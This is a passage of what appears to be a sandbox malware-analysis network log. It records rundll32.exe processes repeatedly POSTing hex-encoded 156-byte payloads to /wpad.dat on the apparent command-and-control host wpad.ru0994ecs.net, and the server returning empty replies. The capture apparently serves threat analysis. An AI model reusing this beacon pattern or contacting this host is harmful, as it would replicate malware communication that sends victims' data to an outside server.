2024-04-16 13:37:19 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:19 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vU7VT1uL0ZGF7QihGuzNHUWjfrMAOTeBkAs0j3GEqKIjHxARhUU18qXQVV79QIqEkR%2Bn0e52Cb2BIzYmmaJ5R5FW02tQy3rXr3CIDYC%2FUylqsofoLIN%2B1D59TS7NPeVU2Hc%2B4Eg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491c1b9a26764-ATL
2024-04-16 13:37:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.8	49833	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:19 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:19 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:19 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aZy1nz2tUxAGQ2MAW4IRiXfC9p%2BTFh2l9P6oeVTGfSUoGxmzTmZUFe7nw0Cn03Z7y%2B84XvIJhV3ztDsfvq4NFkSvBEkGuy4%2F53f2eupAuGBbXpBVRe%2B%2FLsQHqZburEcAprlvP%2BQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491c1dacf138f-ATL
2024-04-16 13:37:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.8	49834	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:21 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:21 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:21 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lIHCnY44HljUzyXpaqmIzoqBQCSpNSA%2BGzrR7wHeti3ZRuwSbypoDQsp4sel2tItQnrFm1pLvPAnDrSU0LPOfjFMEs8QU090Odsi8NQ2ZNzPrXIxLvMkyPhqhaRvDBlAyfdFIyE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491cb9f4e7ba0-ATL
2024-04-16 13:37:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.8	49835	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:21 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:21 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:21 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YmJgEeU%2Bzh3j36FBV%2BGEZpG6L48rCT2pWKETkYW1JOYu8PQ8%2Fnoow4vk3Nca%2FAz28IOjhTR3NViYzvQvEtV9vWh%2BEihTeUSA9MyN1gARCIWY2212acu2FfFT89qUPn3iz0IHjfw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491cbdd0512e6-ATL
2024-04-16 13:37:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.8	49836	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:21 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:21 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:21 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4r4EYNLTRldfZg60%2F1C98pfkxC3P4f717fMRCbdN4s0CQQUSn5yWUOR8dI9pAR4VWjSWXZPzMl6HtroI%2BvxC7iVsD%2FHDyvhYSA3tOnOoSCcnGq6W7bXy2QnnQEHL8CMQ0666V0s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491cc19bd4503-ATL
2024-04-16 13:37:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.8	49837	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:22 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:22 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:22 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XETdoaHFHKyJ4%2B%2FFbDZd%2FTed9Z5QXwFQJfDLBKZskM5P35rnGaA3jBlj4oLNNonTUuLuaO6ssxb9WNPoEpAAW%2BsKswO%2F4walAtkwaj36ygKilux1fDX3VEMT1bhyq4m006S7QAM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491d60ec37be2-ATL
2024-04-16 13:37:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.8	49838	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:22 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:22 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:23 UTC	547	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3jn8R02HqdgYbDvA%2F%2B%2F%2F9N2BbST0wJHgk5OCXOn9FCK1sQcw%2FYoJlJvXihRLxbzEdWKQR9cy9PtJ7a2sPUGKL%2FhpA%2BK3UwJf9VGNBLD1Yi%2Fz%2FPNm7EA8PRD%2B6CTZRYUKHK3tnHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491d63e97452f-ATL
2024-04-16 13:37:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.8	49839	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:25 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:25 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:25 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=faK%2BlGcoc2hug4mRV5U1mnPd%2BeusBFeBnsg2t3UzJZQc33wg30HFN1f2q8qDEINXHS1QtVpQQjBwSI1uWtYbd8B%2BoweqbI9n%2F1D%2BTU3y3c8EeY0LKJF%2FJc39rPWa4Z%2F27S19CQE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491e60c3753d2-ATL
2024-04-16 13:37:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.8	49840	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:25 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:25 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:25 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nQbeWNZmkafeEJQL2npoWPNLJNPG%2F4Z4455gshcXvRhQ%2F%2B3JXQxSqIEZ6IqYbgxZ%2Fdpkx6i%2BWYlsD1UUWyUZ3eCb4Z2rIp7K3%2FIyc22GjdjwuJoqoII%2FeHcnNNjD8xkb8uwLGtE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491e65f6e44d8-ATL
2024-04-16 13:37:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.8	49841	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:26 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:26 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:26 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NB8L1qHmD%2F7kN5RbqHGitWaxAM%2FiArHTuO05tkgAZgFuDajaNqtPfHhLAn9whb7tv5Ll9MVfw5tZnOr4cxhPgfhqgU%2Fx4L0cIuFEnIT6Y9XwKQvfUzJyTECyhRbLmrC8HXPum6g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491ee6ac37b96-ATL
2024-04-16 13:37:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.8	49843	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:26 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:26 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:27 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sFNzh2t6vqrDPfFKbdiITH1zsAS3RuQUxBExyp0wEq%2F%2BxEKr48eNBrrW39cUV0Hz2YeCve8T%2BJ5jMnEiUlrzaFBJHyWDL1LbTs32NFMFQrrpviE5mhjrpwk507WwBhVqUeJ8aSw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491f03d1e53d2-ATL
2024-04-16 13:37:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.8	49842	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:26 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:26 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:27 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AyWKlmHGnDhUAC5Kx%2FTiKPGGu6iN0zS9Rqft5Sz7dBeGakM%2BvU4KGa%2BVuVM%2FM3OlnY2aSMzDgtBDRL0drKZh7aMFzN6iIP%2F%2BundcIjIGpp05p9HLJvdcqTKE6%2BRkWUmlQxo54PQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491f0dd02b06a-ATL
2024-04-16 13:37:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.8	49844	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:30 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:30 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:30 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lm4%2F1aS0FussPmOsW5N7am78RtL8CnpkNFcwBFxAJiIRgmJiqsVvDbP%2BPY1uZist7%2BxUR4k89WvPnSXWJVyT%2BPoaiqaCkmEqYNfH44aASs4nWFONyPvWUB9vXE8il0T1UWSqziw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549206b85b53ec-ATL
2024-04-16 13:37:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.8	49845	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:30 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
